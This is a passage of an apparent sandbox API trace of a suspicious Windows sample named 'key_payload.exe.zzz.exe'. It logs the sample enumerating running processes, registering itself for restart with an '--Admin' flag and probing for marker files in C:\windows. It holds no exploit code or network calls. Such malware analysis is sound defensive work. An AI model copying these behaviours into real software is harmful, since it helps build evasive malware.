lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.058] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xa40000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="homes.exe") returned 0x9 [0101.059] CloseHandle (hObject=0x230) returned 1 [0101.059] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b4) returned 0x230 [0101.059] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.060] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xbf0000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="tu-admit.exe") returned 0xc [0101.060] CloseHandle (hObject=0x230) returned 1 [0101.060] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x908) returned 0x230 [0101.060] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.061] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x910000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="asin.exe") returned 0x8 [0101.061] CloseHandle (hObject=0x230) returned 1 [0101.061] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1fc) returned 0x230 [0101.062] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.062] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x170000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="flickr debate gs.exe") returned 0x14 [0101.063] CloseHandle (hObject=0x230) returned 1 [0101.063] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbd4) returned 0x230 [0101.063] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.064] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xa20000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="seafoodoptwherever.exe") returned 0x16 [0101.064] CloseHandle (hObject=0x230) returned 1 [0101.064] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa24) returned 0x230 [0101.064] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.065] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xb80000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="hayes.exe") returned 0x9 [0101.065] CloseHandle (hObject=0x230) returned 1 [0101.065] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d4) returned 0x230 [0101.065] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.066] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xdf0000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="definitionselectionsea.exe") returned 0x1a [0101.067] CloseHandle (hObject=0x230) returned 1 [0101.067] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xb30) returned 0x230 [0101.067] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.068] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x930000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="containers-reprint-true.exe") returned 0x1b [0101.068] CloseHandle (hObject=0x230) returned 1 [0101.068] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x230 [0101.068] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.069] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xb0000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="containingbarryslovenia.exe") returned 0x1b [0101.069] CloseHandle (hObject=0x230) returned 1 [0101.069] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xab0) returned 0x230 [0101.069] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0101.070] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xef0000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="jones weekend fundamental.exe") returned 0x1d [0101.070] CloseHandle (hObject=0x230) returned 1 [0101.071] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x24c) returned 0x230 [0198.046] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0198.046] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xc30000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="requesting.exe") returned 0xe [0198.046] CloseHandle (hObject=0x230) returned 1 [0198.047] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8d8) returned 0x230 [0198.047] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0198.047] GetModuleBaseNameW (in: hProcess=0x230, hModule=0xda0000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="walls flashing hull.exe") returned 0x17 [0198.047] CloseHandle (hObject=0x230) returned 1 [0198.047] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe34) returned 0x230 [0198.048] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 0 [0198.048] CloseHandle (hObject=0x230) returned 1 [0198.048] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x0 [0198.048] CloseHandle (hObject=0x0) returned 0 [0198.048] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf84) returned 0x230 [0198.048] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0198.050] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1110000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="key_payload.exe.zzz.exe") returned 0x17 [0198.050] CloseHandle (hObject=0x230) returned 1 [0198.050] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8c) returned 0x230 [0198.050] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0198.050] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x200000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="cmd.exe") returned 0x7 [0198.051] CloseHandle (hObject=0x230) returned 1 [0198.051] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf98) returned 0x230 [0198.051] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 0 [0198.051] CloseHandle (hObject=0x230) returned 1 [0198.051] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc0) returned 0x230 [0198.051] EnumProcessModules (in: hProcess=0x230, lphModule=0xbd4590, cb=0x4, lpcbNeeded=0xbd4594 | out: lphModule=0xbd4590, lpcbNeeded=0xbd4594) returned 1 [0198.052] GetModuleBaseNameW (in: hProcess=0x230, hModule=0x1110000, lpBaseName=0xbde5a0, nSize=0x400 | out: lpBaseName="key_payload.exe.zzz.exe") returned 0x17 [0198.052] CloseHandle (hObject=0x230) returned 1 [0198.052] GetLastError () returned 0x12b [0198.052] SetLastError (dwErrCode=0x12b) [0198.052] SetLastError (dwErrCode=0x12b) [0198.052] GetLastError () returned 0x12b [0198.052] SetLastError (dwErrCode=0x12b) [0198.052] InitCommonControlsEx (picce=0xbdf360) returned 1 [0198.054] GetModuleFileNameW (in: hModule=0x1110000, lpFilename=0xbdeb68, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0198.054] PathFindExtensionW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe") returned=".exe" [0198.054] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0198.054] GetProcAddress (hModule=0x75130000, lpProcName="GetThreadPreferredUILanguages") returned 0x751495e0 [0198.054] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0xbdea3c, pwszLanguagesBuffer=0xbdea4c, pcchLanguagesBuffer=0xbdea40 | out: pulNumLanguages=0xbdea3c, pwszLanguagesBuffer=0xbdea4c, pcchLanguagesBuffer=0xbdea40) returned 1 [0198.054] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0198.054] GetProcAddress (hModule=0x75130000, lpProcName="GetLocaleInfoEx") returned 0x7514a000 [0198.055] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3, lpLCData=0xbde9f0, cchData=4 | out: lpLCData="ENU") returned 4 [0198.055] GetLastError () returned 0x0 [0198.055] SetLastError (dwErrCode=0x0) [0198.055] GetLastError () returned 0x0 [0198.055] SetLastError (dwErrCode=0x0) [0198.055] GetLastError () returned 0x0 [0198.055] SetLastError (dwErrCode=0x0) [0198.055] GetLastError () returned 0x0 [0198.055] SetLastError (dwErrCode=0x0) [0198.055] GetLastError () returned 0x0 [0198.055] SetLastError (dwErrCode=0x0) [0198.055] GetLastError () returned 0x0 [0198.056] SetLastError (dwErrCode=0x0) [0198.056] GetLastError () returned 0x0 [0198.056] SetLastError (dwErrCode=0x0) [0198.056] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0198.056] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0198.056] GetLocaleInfoEx (in: lpLocaleName="en", LCType=0x3, lpLCData=0xbde9f0, cchData=4 | out: lpLCData="ENU") returned 4 [0198.056] GetLastError () returned 0x2 [0198.056] SetLastError (dwErrCode=0x2) [0198.056] GetLastError () returned 0x2 [0198.056] SetLastError (dwErrCode=0x2) [0198.056] GetLastError () returned 0x2 [0198.056] SetLastError (dwErrCode=0x2) [0198.056] GetLastError () returned 0x2 [0198.056] SetLastError (dwErrCode=0x2) [0198.056] GetLastError () returned 0x2 [0198.056] SetLastError (dwErrCode=0x2) [0198.056] GetLastError () returned 0x2 [0198.056] SetLastError (dwErrCode=0x2) [0198.056] GetLastError () returned 0x2 [0198.056] SetLastError (dwErrCode=0x2) [0198.056] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0198.056] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzENU.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0198.057] GetLastError () returned 0x2 [0198.057] SetLastError (dwErrCode=0x2) [0198.057] GetLastError () returned 0x2 [0198.057] SetLastError (dwErrCode=0x2) [0198.057] GetLastError () returned 0x2 [0198.057] SetLastError (dwErrCode=0x2) [0198.057] GetLastError () returned 0x2 [0198.057] SetLastError (dwErrCode=0x2) [0198.057] GetLastError () returned 0x2 [0198.057] SetLastError (dwErrCode=0x2) [0198.057] GetLastError () returned 0x2 [0198.057] SetLastError (dwErrCode=0x2) [0198.057] GetLastError () returned 0x2 [0198.057] SetLastError (dwErrCode=0x2) [0198.057] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzLOC.dll", hFile=0x0, dwFlags=0x60) returned 0x0 [0198.057] LoadLibraryExW (lpLibFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzzLOC.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0198.057] CoCreateGuid (in: pguid=0xbded60 | out: pguid=0xbded60*(Data1=0x1bdaff7, Data2=0x967c, Data3=0x432b, Data4=([0]=0x91, [1]=0x4c, [2]=0x27, [3]=0x86, [4]=0xe, [5]=0x88, [6]=0xb4, [7]=0xe7))) returned 0x0 [0198.057] GetLastError () returned 0x2 [0198.057] SetLastError (dwErrCode=0x2) [0198.057] GetLastError () returned 0x2 [0198.058] SetLastError (dwErrCode=0x2) [0198.058] SetLastError (dwErrCode=0x2) [0198.058] GetLastError () returned 0x2 [0198.058] SetLastError (dwErrCode=0x2) [0198.058] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0198.058] GetProcAddress (hModule=0x75130000, lpProcName="RegisterApplicationRestart") returned 0x75152250 [0198.058] RegisterApplicationRestart (pwzCommandline="--Admin /RestartByRestartManager:01BDAFF7-967C-432b-914C-27860E88B4E7", dwFlags=0x0) returned 0x0 [0198.059] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0xc777b8 [0198.059] SHGetMalloc (in: ppMalloc=0xc7c5fc | out: ppMalloc=0xc7c5fc*=0x750f5ee0) returned 0x0 [0198.059] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0198.059] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0198.059] VerifyVersionInfoW (in: lpVersionInformation=0xbdec78, dwTypeMask=0x3, dwlConditionMask=0x1b | out: lpVersionInformation=0xbdec78) returned 1 [0198.059] GetSystemMetrics (nIndex=4096) returned 0 [0198.059] GetSysColor (nIndex=22) returned 0xe3e3e3 [0198.059] GetSysColor (nIndex=21) returned 0x696969 [0198.059] GetWindowDC (hWnd=0x0) returned 0x3010738 [0198.059] GetDeviceCaps (hdc=0x3010738, index=12) returned 32 [0198.060] GetSysColor (nIndex=15) returned 0xf0f0f0 [0198.060] GetSysColor (nIndex=16) returned 0xa0a0a0 [0198.060] GetSysColor (nIndex=21) returned 0x696969 [0198.060] GetSysColor (nIndex=22) returned 0xe3e3e3 [0198.060] GetSysColor (nIndex=20) returned 0xffffff [0198.060] GetSysColor (nIndex=18) returned 0x0 [0198.060] GetSysColor (nIndex=17) returned 0x6d6d6d [0198.060] GetSysColor (nIndex=6) returned 0x646464 [0198.060] GetSysColor (nIndex=13) returned 0xff9933 [0198.060] GetSysColor (nIndex=14) returned 0xffffff [0198.060] GetSysColor (nIndex=5) returned 0xffffff [0198.060] GetSysColor (nIndex=8) returned 0x0 [0198.060] GetSysColor (nIndex=9) returned 0x0 [0198.060] GetSysColor (nIndex=7) returned 0x0 [0198.060] GetSysColor (nIndex=2) returned 0xd1b499 [0198.060] GetSysColor (nIndex=3) returned 0xdbcdbf [0198.060] GetSysColor (nIndex=27) returned 0xead1b9 [0198.060] GetSysColor (nIndex=28) returned 0xf2e4d7 [0198.060] GetSysColor (nIndex=10) returned 0xb4b4b4 [0198.060] GetSysColor (nIndex=11) returned 0xfcf7f4 [0198.060] GetSysColor (nIndex=19) returned 0x0 [0198.060] GetSysColor (nIndex=26) returned 0xcc6600 [0198.060] GetSysColorBrush (nIndex=16) returned 0x1100075 [0198.060] GetSysColorBrush (nIndex=20) returned 0x1100076 [0198.060] GetSysColorBrush (nIndex=5) returned 0x110007b [0198.060] DeleteObject (ho=0x461006d6) returned 1 [0198.060] CreateSolidBrush (color=0xf0f0f0) returned 0x1510071c [0198.060] DeleteObject (ho=0x491006bd) returned 1 [0198.060] CreateSolidBrush (color=0xf0f0f0) returned 0x471006d6 [0198.060] DeleteObject (ho=0x421006bc) returned 1 [0198.060] CreateSolidBrush (color=0xd1b499) returned 0x1d100637 [0198.060] DeleteObject (ho=0x6f10054e) returned 1 [0198.060] CreateSolidBrush (color=0xdbcdbf) returned 0x4a1006bd [0198.060] DeleteObject (ho=0x3c10070e) returned 1 [0198.060] CreateSolidBrush (color=0xff9933) returned 0x431006bc [0198.060] DeleteObject (ho=0x8100742) returned 1 [0198.060] CreateSolidBrush (color=0x696969) returned 0xffffffff9010053b [0198.060] DeleteObject (ho=0x44100553) returned 1 [0198.060] CreateSolidBrush (color=0xffffff) returned 0x7010054e [0198.060] DeleteObject (ho=0x29300722) returned 1 [0198.060] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0x2a300722 [0198.060] DeleteObject (ho=0xe30071e) returned 1 [0198.060] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0xf30071e [0198.061] DeleteObject (ho=0x8300740) returned 1 [0198.061] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0x9300740 [0198.061] DeleteObject (ho=0x1a1001b3) returned 1 [0198.061] CreateSolidBrush (color=0xf7f7f7) returned 0x45100553 [0198.061] ReleaseDC (hWnd=0x0, hDC=0x3010738) returned 1 [0198.061] GetWindowDC (hWnd=0x0) returned 0x3010738 [0198.061] GetDeviceCaps (hdc=0x3010738, index=88) returned 96 [0198.061] DeleteObject (ho=0x440a06a9) returned 1 [0198.061] DeleteObject (ho=0x2e0a06c7) returned 1 [0198.061] DeleteObject (ho=0x40a0746) returned 1 [0198.061] DeleteObject (ho=0x220a071f) returned 1 [0198.061] DeleteObject (ho=0x110a01af) returned 1 [0198.061] DeleteObject (ho=0x250a0723) returned 1 [0198.061] DeleteObject (ho=0x210a0705) returned 1 [0198.061] DeleteObject (ho=0x30a073c) returned 1 [0198.061] DeleteObject (ho=0x4c0a073b) returned 1 [0198.061] DeleteObject (ho=0x60a0732) returned 1 [0198.061] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0xbdea00, fWinIni=0x0 | out: pvParam=0xbdea00) returned 1 [0198.061] GetTextCharsetInfo (in: hdc=0x3010738, lpSig=0x0, dwFlags=0x0 | out: lpSig=0x0) returned 0 [0198.062] lstrcpyW (in: lpString1=0xbdec14, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0198.062] EnumFontFamiliesW (hdc=0x3010738, lpLogfont=0x0, lpProc=0x1167ea8, lParam=0x1312eec) returned 0 [0198.065] lstrcpyW (in: lpString1=0xbdec14, lpString2="Segoe UI" | out: lpString1="Segoe UI") returned="Segoe UI" [0198.065] CreateFontIndirectW (lplf=0xbdebf8) returned 0x70a0732 [0198.065] CreateFontIndirectW (lplf=0xbdebf8) returned 0x4d0a073b [0198.065] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0xbde808, fWinIni=0x0 | out: pvParam=0xbde808) returned 1 [0198.065] CreateFontIndirectW (lplf=0xbdebf8) returned 0x40a073c [0198.066] CreateFontIndirectW (lplf=0xbdebf8) returned 0x220a0705 [0198.066] CreateFontIndirectW (lplf=0xbdebf8) returned 0x260a0723 [0198.066] GetSystemMetrics (nIndex=72) returned 15 [0198.066] lstrcpyW (in: lpString1=0xbdec14, lpString2="Marlett" | out: lpString1="Marlett") returned="Marlett" [0198.066] CreateFontIndirectW (lplf=0xbdebf8) returned 0x120a01af [0198.066] GetStockObject (i=17) returned 0x18a0025 [0198.066] GetObjectW (in: h=0x18a0025, c=92, pv=0xbdebf8 | out: pv=0xbdebf8) returned 92 [0198.066] lstrcpyW (in: lpString1=0xbdec14, lpString2="Arial" | out: lpString1="Arial") returned="Arial" [0198.066] CreateFontIndirectW (lplf=0xbdebf8) returned 0x230a071f [0198.066] CreateFontIndirectW (lplf=0xbdebf8) returned 0x50a0746 [0198.066] GetStockObject (i=17) returned 0x18a0025 [0198.066] GetObjectW (in: h=0x18a0025, c=92, pv=0xbdebf8 | out: pv=0xbdebf8) returned 92 [0198.066] CreateFontIndirectW (lplf=0xbdebf8) returned 0x2f0a06c7 [0198.066] CreateFontIndirectW (lplf=0xbdebf8) returned 0x450a06a9 [0198.066] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0198.066] SelectObject (hdc=0xa0100d0, h=0x70a0732) returned 0x18a0048 [0198.066] GetTextMetricsW (in: hdc=0xa0100d0, lptm=0xbde77c | out: lptm=0xbde77c) returned 1 [0198.066] SelectObject (hdc=0xa0100d0, h=0x230a071f) returned 0x70a0732 [0198.066] GetTextMetricsW (in: hdc=0xa0100d0, lptm=0xbde77c | out: lptm=0xbde77c) returned 1 [0198.066] SelectObject (hdc=0xa0100d0, h=0x18a0048) returned 0x230a071f [0198.066] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0198.066] DeleteObject (ho=0x18a0025) returned 1 [0198.066] ReleaseDC (hWnd=0x0, hDC=0x3010738) returned 1 [0198.066] GetSystemMetrics (nIndex=49) returned 16 [0198.066] GetSystemMetrics (nIndex=50) returned 16 [0198.066] SetRectEmpty (in: lprc=0x1394594 | out: lprc=0x1394594) returned 1 [0198.066] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1168030, dwData=0x1394594) returned 1 [0198.067] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xbdeb90 | out: lpmi=0xbdeb90) returned 1 [0198.067] CopyRect (in: lprcDst=0xbdebb8, lprcSrc=0xbdeba4 | out: lprcDst=0xbdebb8) returned 1 [0198.067] SystemParametersInfoW (in: uiAction=0x1002, uiParam=0x0, pvParam=0x13945b8, fWinIni=0x0 | out: pvParam=0x13945b8) returned 1 [0198.067] SystemParametersInfoW (in: uiAction=0x1012, uiParam=0x0, pvParam=0x13945bc, fWinIni=0x0 | out: pvParam=0x13945bc) returned 1 [0198.067] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x13945cc, fWinIni=0x0 | out: pvParam=0x13945cc) returned 1 [0198.067] GetSysColor (nIndex=22) returned 0xe3e3e3 [0198.067] GetSysColor (nIndex=21) returned 0x696969 [0198.067] GetWindowDC (hWnd=0x0) returned 0xa0100d0 [0198.067] GetDeviceCaps (hdc=0xa0100d0, index=12) returned 32 [0198.067] GetSysColor (nIndex=15) returned 0xf0f0f0 [0198.067] GetSysColor (nIndex=16) returned 0xa0a0a0 [0198.067] GetSysColor (nIndex=21) returned 0x696969 [0198.067] GetSysColor (nIndex=22) returned 0xe3e3e3 [0198.067] GetSysColor (nIndex=20) returned 0xffffff [0198.067] GetSysColor (nIndex=18) returned 0x0 [0198.067] GetSysColor (nIndex=17) returned 0x6d6d6d [0198.067] GetSysColor (nIndex=6) returned 0x646464 [0198.067] GetSysColor (nIndex=13) returned 0xff9933 [0198.067] GetSysColor (nIndex=14) returned 0xffffff [0198.067] GetSysColor (nIndex=5) returned 0xffffff [0198.067] GetSysColor (nIndex=8) returned 0x0 [0198.067] GetSysColor (nIndex=9) returned 0x0 [0198.067] GetSysColor (nIndex=7) returned 0x0 [0198.067] GetSysColor (nIndex=2) returned 0xd1b499 [0198.067] GetSysColor (nIndex=3) returned 0xdbcdbf [0198.067] GetSysColor (nIndex=27) returned 0xead1b9 [0198.067] GetSysColor (nIndex=28) returned 0xf2e4d7 [0198.067] GetSysColor (nIndex=10) returned 0xb4b4b4 [0198.067] GetSysColor (nIndex=11) returned 0xfcf7f4 [0198.067] GetSysColor (nIndex=19) returned 0x0 [0198.067] GetSysColor (nIndex=26) returned 0xcc6600 [0198.067] GetSysColorBrush (nIndex=16) returned 0x1100075 [0198.067] GetSysColorBrush (nIndex=20) returned 0x1100076 [0198.067] GetSysColorBrush (nIndex=5) returned 0x110007b [0198.067] DeleteObject (ho=0x1510071c) returned 1 [0198.067] CreateSolidBrush (color=0xf0f0f0) returned 0x1b1001b3 [0198.067] DeleteObject (ho=0x471006d6) returned 1 [0198.067] CreateSolidBrush (color=0xf0f0f0) returned 0x3d10070e [0198.068] DeleteObject (ho=0x1d100637) returned 1 [0198.068] CreateSolidBrush (color=0xd1b499) returned 0x9100742 [0198.068] DeleteObject (ho=0x4a1006bd) returned 1 [0198.068] CreateSolidBrush (color=0xdbcdbf) returned 0x8100743 [0198.068] DeleteObject (ho=0x431006bc) returned 1 [0198.068] CreateSolidBrush (color=0xff9933) returned 0x1610071c [0198.068] DeleteObject (ho=0x9010053b) returned 1 [0198.068] CreateSolidBrush (color=0x696969) returned 0x481006d6 [0198.068] DeleteObject (ho=0x7010054e) returned 1 [0198.068] CreateSolidBrush (color=0xffffff) returned 0x1e100637 [0198.068] DeleteObject (ho=0x2a300722) returned 1 [0198.068] CreatePen (iStyle=0, cWidth=1, color=0xff9933) returned 0x2b300722 [0198.068] DeleteObject (ho=0xf30071e) returned 1 [0198.068] CreatePen (iStyle=0, cWidth=1, color=0xf0f0f0) returned 0x1030071e [0198.068] DeleteObject (ho=0x9300740) returned 1 [0198.068] CreatePen (iStyle=0, cWidth=1, color=0xa0a0a0) returned 0xa300740 [0198.068] DeleteObject (ho=0x45100553) returned 1 [0198.068] CreateSolidBrush (color=0xf7f7f7) returned 0x441006bc [0198.068] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1 [0198.068] GetActiveWindow () returned 0x0 [0198.068] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc85760, nSize=0x400 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0198.068] PathRemoveFileSpecW (in: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0198.068] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Admin" [0198.068] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Admin", pNumArgs=0xbded9c | out: pNumArgs=0xbded9c) returned 0xc85350*="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" [0198.069] GetCurrentPackageId () returned 0x3d54 [0198.069] AreFileApisANSI () returned 1 [0198.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f1c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0198.069] CreateFileW (lpFileName="C:\\windows\\123.txtt" (normalized: "c:\\windows\\123.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.069] GetLastError () returned 0x2 [0198.069] GetLastError () returned 0x2 [0198.069] SetLastError (dwErrCode=0x2) [0198.069] GetLastError () returned 0x2 [0198.069] SetLastError (dwErrCode=0x2) [0198.069] GetLastError () returned 0x2 [0198.069] SetLastError (dwErrCode=0x2) [0198.069] AreFileApisANSI () returned 1 [0198.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f94, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0198.069] CreateFileW (lpFileName="C:\\windows\\12322.txtt" (normalized: "c:\\windows\\12322.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.069] GetLastError () returned 0x2 [0198.069] GetLastError () returned 0x2 [0198.069] SetLastError (dwErrCode=0x2) [0198.069] GetLastError () returned 0x2 [0198.069] SetLastError (dwErrCode=0x2) [0198.069] GetLastError () returned 0x2 [0198.069] SetLastError (dwErrCode=0x2) [0198.069] AreFileApisANSI () returned 1 [0198.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1354f1c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0198.069] CreateFileW (lpFileName="C:\\windows\\123.txtt" (normalized: "c:\\windows\\123.txtt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xbde9d0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0198.070] GetLastError () returned 0x2 [0198.070] GetLastError () returned 0x2 [0198.070] SetLastError (dwErrCode=0x2) [0198.070] 